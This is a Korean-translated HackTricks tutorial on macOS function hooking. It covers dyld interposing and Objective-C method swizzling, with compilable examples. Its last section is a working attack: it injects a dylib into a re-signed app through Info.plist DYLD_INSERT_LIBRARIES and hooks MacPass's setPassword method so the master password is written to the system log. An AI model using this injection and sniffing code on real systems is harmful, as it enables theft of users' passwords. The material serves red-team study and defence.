macOS Function Hooking

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

Function Interposing

__interpose (__DATA___interpose) μ„Ήμ…˜μ΄ μžˆλŠ” dylibλ₯Ό μƒμ„±ν•©λ‹ˆλ‹€ (λ˜λŠ” S_INTERPOSING ν”Œλž˜κ·Έκ°€ μžˆλŠ” μ„Ήμ…˜). 이 μ„Ήμ…˜μ—λŠ” 원본 ν•¨μˆ˜μ™€ λŒ€μ²΄ ν•¨μˆ˜λ₯Ό μ°Έμ‘°ν•˜λŠ” ν•¨μˆ˜ ν¬μΈν„°μ˜ νŠœν”Œμ΄ ν¬ν•¨λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€.

그런 λ‹€μŒ, **DYLD_INSERT_LIBRARIES**λ₯Ό μ‚¬μš©ν•˜μ—¬ dylibλ₯Ό μ£Όμž…ν•©λ‹ˆλ‹€ (인터포징은 메인 앱이 λ‘œλ“œλ˜κΈ° 전에 λ°œμƒν•΄μ•Ό ν•©λ‹ˆλ‹€). λͺ…λ°±νžˆ DYLD_INSERT_LIBRARIES μ‚¬μš©μ— μ μš©λ˜λŠ” μ œν•œ 사항이 여기에도 μ μš©λ©λ‹ˆλ‹€.

Interpose printf

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose

> [!WARNING]
> **`DYLD_PRINT_INTERPOSTING`** ν™˜κ²½ λ³€μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ 인터포징을 디버그할 수 있으며, μΈν„°ν¬μ¦ˆ ν”„λ‘œμ„ΈμŠ€λ₯Ό 좜λ ₯ν•©λ‹ˆλ‹€.

λ˜ν•œ **인터포징은 ν”„λ‘œμ„ΈμŠ€μ™€ λ‘œλ“œλœ 라이브러리 μ‚¬μ΄μ—μ„œ λ°œμƒν•˜λ©°**, 곡유 라이브러리 μΊμ‹œμ™€λŠ” μž‘λ™ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

### 동적 인터포징

이제 **`dyld_dynamic_interpose`** ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ λ™μ μœΌλ‘œ ν•¨μˆ˜λ₯Ό μΈν„°ν¬μ¦ˆν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό 톡해 μ‹œμž‘ν•  λ•Œλ§Œ ν•˜λŠ” 것이 μ•„λ‹ˆλΌ λŸ°νƒ€μž„μ— ν”„λ‘œκ·Έλž¨μ μœΌλ‘œ ν•¨μˆ˜λ₯Ό μΈν„°ν¬μ¦ˆν•  수 μžˆμŠ΅λ‹ˆλ‹€.

**λŒ€μ²΄ν•  ν•¨μˆ˜μ™€ λŒ€μ²΄ ν•¨μˆ˜μ˜ νŠœν”Œ**을 μ§€μ •ν•˜κΈ°λ§Œ ν•˜λ©΄ λ©λ‹ˆλ‹€.
```c
struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Method Swizzling

In ObjectiveC this is how a method is called like: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

ν•„μš”ν•œ 것은 객체, λ©”μ„œλ“œ 및 λ§€κ°œλ³€μˆ˜μž…λ‹ˆλ‹€. λ©”μ„œλ“œκ°€ 호좜될 λ•Œ msgκ°€ μ „μ†‘λ˜λ©°, ν•¨μˆ˜ **objc_msgSend**λ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

κ°μ²΄λŠ” someObject, λ©”μ„œλ“œλŠ” **@selector(method1p1:p2:)**이며, μΈμˆ˜λŠ” value1, value2μž…λ‹ˆλ‹€.

객체 ꡬ쑰λ₯Ό 따라가면 λ©”μ„œλ“œ 배열에 μ ‘κ·Όν•  수 있으며, μ—¬κΈ°μ—λŠ” 이름과 λ©”μ„œλ“œ μ½”λ“œμ— λŒ€ν•œ 포인터가 μœ„μΉ˜ν•©λ‹ˆλ‹€.

Caution

λ©”μ„œλ“œμ™€ ν΄λž˜μŠ€κ°€ 이름을 기반으둜 μ ‘κ·Όλ˜κΈ° λ•Œλ¬Έμ— 이 μ •λ³΄λŠ” λ°”μ΄λ„ˆλ¦¬μ— μ €μž₯λ©λ‹ˆλ‹€. λ”°λΌμ„œ otool -ov </path/bin> λ˜λŠ” class-dump </path/bin>둜 이λ₯Ό 검색할 수 μžˆμŠ΅λ‹ˆλ‹€.

Accessing the raw methods

λ©”μ„œλ“œμ˜ 이름, λ§€κ°œλ³€μˆ˜ 수 λ˜λŠ” μ£Όμ†Œμ™€ 같은 정보λ₯Ό λ‹€μŒ μ˜ˆμ œμ™€ 같이 μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Method Swizzling with method_exchangeImplementations

ν•¨μˆ˜ **method_exchangeImplementations**λŠ” ν•˜λ‚˜μ˜ ν•¨μˆ˜μ˜ κ΅¬ν˜„ μ£Όμ†Œλ₯Ό λ‹€λ₯Έ ν•¨μˆ˜λ‘œ λ³€κ²½ν•  수 있게 ν•΄μ€λ‹ˆλ‹€.

Caution

λ”°λΌμ„œ ν•¨μˆ˜κ°€ 호좜될 λ•Œ μ‹€ν–‰λ˜λŠ” 것은 λ‹€λ₯Έ ν•¨μˆ˜μž…λ‹ˆλ‹€.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

Warning

이 경우 정상적인 λ©”μ„œλ“œμ˜ κ΅¬ν˜„ μ½”λ“œκ°€ λ©”μ„œλ“œ 이름을 κ²€μ¦ν•˜λ©΄ 이 μŠ€μœ„μ¦λ§μ„ κ°μ§€ν•˜κ³  싀행을 λ°©μ§€ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λ‹€μŒ κΈ°μˆ μ€ μ΄λŸ¬ν•œ μ œν•œμ΄ μ—†μŠ΅λ‹ˆλ‹€.

method_setImplementation을 μ΄μš©ν•œ λ©”μ„œλ“œ μŠ€μœ„μ¦λ§

이전 ν˜•μ‹μ€ μ„œλ‘œ λ‹€λ₯Έ 두 λ©”μ„œλ“œμ˜ κ΅¬ν˜„μ„ λ³€κ²½ν•˜κΈ° λ•Œλ¬Έμ— μ΄μƒν•©λ‹ˆλ‹€. method_setImplementation ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•˜λ©΄ ν•˜λ‚˜μ˜ λ©”μ„œλ“œμ˜ κ΅¬ν˜„μ„ λ‹€λ₯Έ λ©”μ„œλ“œλ‘œ λ³€κ²½ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μƒˆλ‘œμš΄ κ΅¬ν˜„μ—μ„œ ν˜ΈμΆœν•˜κΈ° 전에 μ›λž˜ κ΅¬ν˜„μ˜ μ£Όμ†Œλ₯Ό μ €μž₯ν•˜λŠ” 것을 μžŠμ§€ λ§ˆμ„Έμš”. λ‚˜μ€‘μ— κ·Έ μ£Όμ†Œλ₯Ό μ°ΎλŠ” 것이 훨씬 λ³΅μž‘ν•΄μ§ˆ κ²ƒμž…λ‹ˆλ‹€.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Hooking Attack Methodology

이 νŽ˜μ΄μ§€μ—μ„œλŠ” ν•¨μˆ˜λ₯Ό ν›„ν‚Ήν•˜λŠ” λ‹€μ–‘ν•œ 방법에 λŒ€ν•΄ λ…Όμ˜ν–ˆμŠ΅λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ 이 방법듀은 곡격을 μœ„ν•΄ ν”„λ‘œμ„ΈμŠ€ λ‚΄μ—μ„œ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” 것을 ν¬ν•¨ν•©λ‹ˆλ‹€.

이λ₯Ό μœ„ν•΄ κ°€μž₯ μ‰¬μš΄ κΈ°μˆ μ€ ν™˜κ²½ λ³€μˆ˜λ₯Ό ν†΅ν•œ Dyld μ£Όμž… λ˜λŠ” ν•˜μ΄μž¬ν‚Ήμž…λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ 이것은 Dylib ν”„λ‘œμ„ΈμŠ€ μ£Όμž…μ„ ν†΅ν•΄μ„œλ„ μˆ˜ν–‰λ  수 μžˆλ‹€κ³  μƒκ°ν•©λ‹ˆλ‹€.

κ·ΈλŸ¬λ‚˜ 두 μ˜΅μ…˜ λͺ¨λ‘ λ³΄ν˜Έλ˜μ§€ μ•Šμ€ λ°”μ΄λ„ˆλ¦¬/ν”„λ‘œμ„ΈμŠ€μ— μ œν•œμ μž…λ‹ˆλ‹€. 각 κΈ°μˆ μ„ ν™•μΈν•˜μ—¬ μ œν•œ 사항에 λŒ€ν•΄ 더 μ•Œμ•„λ³΄μ„Έμš”.

κ·ΈλŸ¬λ‚˜ ν•¨μˆ˜ ν›„ν‚Ή 곡격은 맀우 ꡬ체적이며, κ³΅κ²©μžλŠ” ν”„λ‘œμ„ΈμŠ€ λ‚΄λΆ€μ—μ„œ λ―Όκ°ν•œ 정보λ₯Ό ν›”μΉ˜κΈ° μœ„ν•΄ 이λ₯Ό μˆ˜ν–‰ν•©λ‹ˆλ‹€(κ·Έλ ‡μ§€ μ•ŠμœΌλ©΄ λ‹¨μˆœνžˆ ν”„λ‘œμ„ΈμŠ€ μ£Όμž… 곡격을 ν•  κ²ƒμž…λ‹ˆλ‹€). 이 λ―Όκ°ν•œ μ •λ³΄λŠ” MacPass와 같은 μ‚¬μš©μž λ‹€μš΄λ‘œλ“œ 앱에 μœ„μΉ˜ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λ”°λΌμ„œ 곡격자의 λ²‘ν„°λŠ” 취약점을 μ°Ύκ±°λ‚˜ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ μ„œλͺ…을 μ œκ±°ν•˜κ³ , μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ Info.plistλ₯Ό 톡해 DYLD_INSERT_LIBRARIES ν™˜κ²½ λ³€μˆ˜λ₯Ό μ£Όμž…ν•˜μ—¬ λ‹€μŒκ³Ό 같은 λ‚΄μš©μ„ μΆ”κ°€ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

그리고 μž¬λ“±λ‘ μ• ν”Œλ¦¬μΌ€μ΄μ…˜:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

ν•΄λ‹Ή λΌμ΄λΈŒλŸ¬λ¦¬μ— 정보λ₯Ό μœ μΆœν•˜λŠ” ν›„ν‚Ή μ½”λ“œλ₯Ό μΆ”κ°€ν•˜μ„Έμš”: λΉ„λ°€λ²ˆν˜Έ, λ©”μ‹œμ§€β€¦

Caution

μ΅œμ‹  λ²„μ „μ˜ macOSμ—μ„œλŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜ λ°”μ΄λ„ˆλ¦¬μ˜ μ„œλͺ…을 μ œκ±°ν•˜κ³  이전에 μ‹€ν–‰λœ 경우, macOSλŠ” 더 이상 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ‹€ν–‰ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

Library example

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°